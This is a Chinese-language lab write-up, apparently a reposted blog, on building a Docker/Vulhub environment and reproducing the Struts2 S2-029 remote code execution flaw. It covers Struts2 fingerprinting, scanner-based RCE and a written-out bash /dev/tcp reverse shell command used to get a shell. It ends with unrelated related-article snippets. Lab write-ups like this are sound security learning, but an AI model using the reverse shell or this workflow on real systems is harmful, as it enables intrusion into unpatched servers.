框架漏洞-->Struts2 Docker_Vulnhub搭建

来浅浅的讲一下Struts2漏洞

目录

1.Docker_Vulnhub搭建

2.Struts2

3.Struts2的框架特征

4.S2-029-->Remote Code Execution

5.漏洞复现

1.RCE

2.Getshell


1.Docker_Vulnhub搭建

因为我用的是Linux,所以我选择直接搭个docker,这里我建议先换个源

vim /etc/apt/sources.list

我用的清华源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

换完之后记得更新一下

sudo apt update

然后就可以装我们的docker啦!!!

sudo apt install docker.io

然后就是安装docker-compose

sudo apt-get  install docker-compose

下载vulnhub

git clone https://github.com/vulhub/vulhub.git 
//如果上面这个太慢的话,可以试试下面这个wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip

然后就是开启docker环境

sudo systemctl start docker

 然后可以去查看一下

然后今天我们要复现的 s2-029在vulnhub里面没有,所以需要我们自己去拉取

docker pull medicean/vulapps:s_struts2_s2-029

 然后去启动漏洞环境

docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029

然后你就会发现网卡信息那里多了一栏

然后我们用本机的环境去访问 kali的ip:8080/default.action

访问成功,环境搭建成功

2.Struts2

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联
网、政府、企业门户网站。用的java语言开发 
漏洞介绍:
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2 引入了OGNL表达式使得框架
具有灵活的动态性 。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前
困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在
做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补
丁的系统会比较有效。

3.Struts2的框架特征

Struts2 框架特征
查看被测应用系统的源码, URL 接口地址以 .action ” “ .do 结尾或地址中包含 ! 符号,或者在被测应用的服务器上查看 应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,则需检测是否 存在Struts2 远程代码执行漏洞。

4.S2-029-->Remote Code Execution

rce的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用
。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。

5.漏洞复现

1.RCE

这里我就直接用漏扫了 

于是就对应的去利用

看见是能成功rce的!!!

2.Getshell

能不能getshell呢,废话,都能rce了,肯定能getshell啊!!!

先去开一下netcat

然后就是反向连接弹shell了

/bin/bash -c   "bash -i  >& /dev/tcp/192.168.246.1/9191 0>&1 "

这样就是成功的getshell了!!!

当然了,这个有没有手工的poc呢?? 肯定是有,不过很长 

最后养成好习惯,关闭docker环境

docker-compose down  //如果是上面的环境的话,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下环境是否关闭

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/718015.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在Ubuntu22.04安装Fcitx5中文输入法教程(十分详细)

前言 书接上回,一时兴起将主力机的 Ubuntu 20.04 LTS 升级至了刚刚发布的 22.04 LTS。从 X 切换到 Wayland 、GNOME 从 3.36 升级至 42、Python 默认为 3.10 等等……使用太新的软件包反而暂时带来了麻烦,部分原有的软件和插件都不可用了。这其中就包括…

【AI Agent系列】【MetaGPT多智能体学习】7. 剖析BabyAGI:原生多智能体案例一探究竟(附简化版可运行代码)

本系列文章跟随《MetaGPT多智能体课程》(https://github.com/datawhalechina/hugging-multi-agent),深入理解并实践多智能体系统的开发。 本文为该课程的第四章(多智能体开发)的第五篇笔记。今天我们拆解一个之前提到…

Docker之数据卷

文章目录 一、什么是数据卷二、自定义镜像 一、什么是数据卷 1.1Docker 数据管理 在生产环境中使用 Docker ,往往需要对数据进行持久化,或者需要在多个容器之间进行 数据共享,这必然涉及容器的数据管理操作 1.2操作 将宿主机的目录与容器的目…

飞桨(PaddlePaddle)数据预处理教程

文章目录 飞桨(PaddlePaddle)数据预处理教程1. 安装飞桨2. 了解飞桨的数据预处理方法3. 应用单个数据预处理方法4. 组合多个数据预处理方法5. 在数据集中应用数据预处理5.1 在框架内置数据集中应用5.2 在自定义数据集中应用 6. 总结 飞桨(Pad…

使用DockerFile构建Tomcat镜像

1、准备镜像文件tomcat压缩包,jdk的压缩包 tomcat链接:https://pan.baidu.com/s/1Xpecb-BSGR2sdxSL7FDtBw?pwd1234 提取码:1234 jdk链接:https://pan.baidu.com/s/1mQHInn27j1I9uuuicBsyAA?pwd1234 提取码:1234 …

惠普GT5810打印机报错E9的处理方法

当打印机检测到供墨系统需要维护时,将会出现 E9 错误。 吴中函 打印出的带错误的供墨系统维护页包含解决该错误的说明。 出现 E9 警告时维持 HP Ink Tank 打印机的打印质量,出现 E9 警告时如何维持 HP Ink Tank 打印机的打印质量。 惠普5810报错E9通常…

冒泡排序(C语言详解)

原理:从左到右一次比较,如果左侧数字比右侧数字大(小),则两数交换,否则比较下一 组数字,每一次大循环比较可以将乱序的最右侧数字改为最大(最小)&#xff0c…

机房运维管理的全面优化:动环监控与IT基础设施的深度融合

随着信息技术的飞速发展,机房作为支撑企业信息化建设的核心枢纽,其运维管理的重要性日益凸显。机房不仅要确保IT基础设施的高可用性,还需应对日益复杂的安全挑战和不断变化的业务需求。因此,构建一个集动环监控、工单管理、资产管…

MySQL运维实战之备份和恢复(8.2)xtrabackup备份到云端(OSS)

作者:俊达 xtrabackup工具中有一个xbcloud程序,可以将数据库直接备份到S3对象存储中,本地不落盘。这里介绍将数据库直接备份到OSS的一种方法。 具体方法如下: 1、准备OSS 我们使用ossutil工具上传备份文件。 下载ossutil工具&…

jupyter 一键快捷启动方法研究

1.效果 首先打开dat 文件,同意赋予管理员 输入序号1 成功启动 2.Bat代码 %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&e…

mac报错:zsh: command not found: npm

1、问题概述? 在mac系统中使用npm命令的时候,mac os报错提示: zsh: command not found: npm 一般出现发这种情况的原因时没有安装npm,而npm这命令时集成在nodejs中的,所以安装nodejs就可以了。 2、解决办法 本质就是需要安装…

Spring:FactoryBean预加载逻辑以及自定义实现Mybatis的接口扫描

Spring:FactoryBean预加载逻辑以及自定义实现Mybatis的接口扫描 1 前言 参考Mybatis框架的Mapper注解扫描Mapper接口的业务逻辑,其中集成Spring的逻辑里使用到了Spring框架的FactoryBean拓展点,本文针对Spring FactoryBean的加载流程进行分…

leetcode10正则表达式匹配

leetcode10正则表达式匹配 思路python 思路 难点1 如何理解特殊字符 ’ * ’ 的作用? 如何正确的利用特殊字符 ’ . ’ 和 ’ * ’ ? * 匹配零个或多个前面的那一个元素 "a*" 可表示的字符为不同数目的 a,包括: "…

【大厂AI课学习笔记NO.65】机器学习框架和深度学习框架

笔记思维脑图已上传,访问我的主页可下载。 https://download.csdn.net/download/giszz/88868909 广义上,机器学习框架包含了深度学习框架。 本质上,机器学习框架涵盖分类、回归、聚类、异常检测和数据准备等各种学习方法。 深度学习框架涵…

Android PMS——权限控制分析(十二)

PMS 中的权限控制通过权限管理和权限请求两个方面来实现。应用在 Android 系统中需要声明和请求权限,PMS 则会根据应用声明的权限和用户的选择来进行权限的管理和控制。 一、主要函数 1、Settings 源码位置:/frameworks/base/services/core/java/com/android/server/pm/Se…

SpringBoot启动扩展应用:干预优化+加快启动时间

一、SpringBoot启动配置原理简述 本内容直接查看分析SpringBoot启动配置原理,传送门: 二、SpringBoot启动过程干预 Spring Boot启动过程中我们可以实现以下干预工作: 修改Spring Boot默认的配置属性。使用ConfigurationProperties和Enable…

python celery beat实现定时任务

在Celery在python中的应用除了实现异步任务(async task)外也可以执行定时任务(beat) 1.Celery定时任务是什么? Celery默认任务单元由任务生产者触发,但有时可能需要其自动触发, 而beat进程正是负责此类任务,能够自动触发定时/周期性任务. 只需要在配置…

吴恩达deeplearning.ai:学习曲线决定下一步怎么做

以下内容有任何不理解可以翻看我之前的博客哦:吴恩达deeplearning.ai专栏 学习曲线是一种图形表示方法,用于展示模型在训练过程中的学习表现,即模型的训练集和验证集上的性能如何随着训练时间的增加而变化。可以帮助我们了解模型的学习进度。…

Orbit 使用指南 01| 创建空白场景 | Isaac Sim | Omniverse

如是我闻: 在使用指南01中 演示如何使用独立的Python脚本启动和控制Isaac Sim模拟器。介绍Orbit框架中两个最常用的类app.AppLauncher和sim.SimulationContext。实践在Oribit中设置一个空场景 代码 本指南对应于orbit/source/standalone/tutorials/00_sim目录中的…

制作耳机壳的UV树脂和塑料材质哪一个成本更高一些?

总体来说,制作耳机壳的UV树脂的成本可能会略高于塑料材质。 原材料成本:UV树脂通常是通过复杂的合成过程制成的。这些过程不仅需要大量的能源投入,还需要较高水平的技术和设备支持,因此原材料成本较高。相比之下,塑料…